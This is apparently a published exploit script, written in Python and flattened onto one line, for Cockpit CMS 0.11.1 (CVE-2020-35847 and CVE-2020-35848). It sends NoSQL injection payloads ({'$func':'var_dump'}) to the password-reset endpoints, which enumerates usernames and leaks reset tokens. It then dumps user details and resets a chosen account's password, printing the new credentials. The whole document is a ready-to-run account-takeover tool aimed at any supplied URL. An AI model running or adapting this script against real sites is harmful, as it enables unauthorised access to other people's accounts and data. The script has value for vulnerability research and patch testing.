# Exploit Title: Cockpit CMS 0.11.1 - 'Username Enumeration & Password Reset' NoSQL Injection # Date: 06-08-2021 # Exploit Author: Brian Ombongi # Vendor Homepage: https://getcockpit.com/ # Version: Cockpit 0.11.1 # Tested on: Ubuntu 16.04.7 # CVE : CVE-2020-35847 & CVE-2020-35848 #!/usr/bin/python3 import json import re import requests import random import string import argparse def usage(): guide = 'python3 exploit.py -u ' return guide def arguments(): parse = argparse.ArgumentParser(usage=usage()) parse.add_argument('-u', dest='url', help='Site URL e.g http://cockpit.local', type=str, required=True) return parse.parse_args() def test_connection(url): try: get = requests.get(url) if get.status_code == 200: print(f"[+] {url}: is reachable") else: print(f"{url}: is Not reachable, status_code: {get.status_code}") except requests.exceptions.RequestException as e: raise SystemExit(f"{url}: is Not reachable \nErr: {e}") def enumerate_users(url): print("[-] Attempting Username Enumeration (CVE-2020-35846) : \n") url = url + "/auth/requestreset" headers = { "Content-Type": "application/json" } data= {"user":{"$func":"var_dump"}} req = requests.post(url, data=json.dumps(data), headers=headers) pattern=re.compile(r'string\(\d{1,2}\)\s*"([\w-]+)"', re.I) matches = pattern.findall(req.content.decode('utf-8')) if matches: print ("[+] Users Found : " + str(matches)) return matches else: print("No users found") def check_user(usernames): user = input("\n[-] Get user details For : ") if user not in usernames: print("User does not exist...Exiting") exit() else: return user def reset_tokens(url): print("[+] Finding Password reset tokens") url = url + "/auth/resetpassword" headers = { "Content-Type": "application/json" } data= {"token":{"$func":"var_dump"}} req = requests.post(url, data=json.dumps(data), headers=headers) pattern=re.compile(r'string\(\d{1,2}\)\s*"([\w-]+)"', re.I) matches = pattern.findall(req.content.decode('utf-8')) if matches: print ("\t Tokens Found : " + str(matches)) return matches else: print("No tokens found, ") def user_details(url, token): print("[+] Obtaining user information ") url = url + "/auth/newpassword" headers = { "Content-Type": "application/json" } userAndtoken = {} for t in token: data= {"token":t} req = requests.post(url, data=json.dumps(data), headers=headers) pattern=re.compile(r'(this.user\s*=)([^;]+)', re.I) matches = pattern.finditer(req.content.decode('utf-8')) for match in matches: matches = json.loads(match.group(2)) if matches: print ("-----------------Details--------------------") for key, value in matches.items(): print("\t", "[*]", key ,":", value) else: print("No user information found.") user = matches['user'] token = matches['_reset_token'] userAndtoken[user] = token print("--------------------------------------------") continue return userAndtoken def password_reset(url, token, user): print("[-] Attempting to reset %s's password:" %user) characters = string.ascii_letters + string.digits + string.punctuation password = ''.join(random.choice(characters) for i in range(10)) url = url + "/auth/resetpassword" headers = { "Content-Type": "application/json" } data= {"token":token, "password":password} req = requests.post(url, data=json.dumps(data), headers=headers) if "success" in req.content.decode('utf-8'): print("[+] Password Updated Succesfully!") print("[+] The New credentials for %s is: \n \t Username : %s \n \t Password : %s" % (user, user, password)) def generate_token(url, user): url = url + "/auth/requestreset" headers = { "Content-Type": "application/json" } data= {"user":user} req = requests.post(url, data=json.dumps(data), headers=headers) def confirm_prompt(question: str) -> bool: reply = None while reply not in ("", "y", "n"): reply = input(f"{question} (Y/n): ").lower() if reply == "y": return True elif reply == "n": return False else: return True def pw_reset_trigger(details, user, url): for key in details: if key == user: password_reset(url, details[key], key) else: continue if __name__ == '__main__': args = arguments() url = args.url test_connection(url) user = check_user(enumerate_users(url)) generate_token(url, user) tokens = reset_tokens(url) details = user_details(url, tokens) print("\n") b = confirm_prompt("[+] Do you want to reset the passowrd for %s?" %user) if b: pw_reset_trigger(details, user, url) else: print("Exiting..") exit()